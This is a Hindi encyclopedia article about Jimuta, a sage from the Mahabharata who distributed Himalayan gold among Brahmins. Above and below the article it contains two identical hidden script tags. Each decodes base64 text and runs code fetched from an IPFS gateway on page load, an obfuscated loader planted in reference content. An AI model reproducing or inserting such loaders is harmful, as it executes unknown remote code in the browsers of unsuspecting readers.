जीमूत (महात्मा)  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
जीमूत एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- जीमूत (बहुविकल्पी)

जीमूत हिन्दू पौराणिक ग्रंथ महाभारत के उल्लेखानुसार एक महात्मा थे, इनके समक्ष हिमालय की पवित्र एवं निर्मल स्वर्णनिधि[१] प्रकट हुई थी। उस सम्पूर्ण विशाल धनराशि को उन्होनें ब्राह्मणों में बाँट कर उसका सदुपयोग किया और ब्राह्मणों से यह वर मांगा कि यह धन मेरे नाम से प्रसिद्ध हो। इस कारण वह धन 'जैमूत' नाम से प्रसिद्ध हुआ।[२]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस. पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 50 |

  1. सोने की खान
  2. महाभारत उद्योग पर्व 111.18-28

संबंधित लेख


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=जीमूत_(महात्मा)&oldid=555083" से लिया गया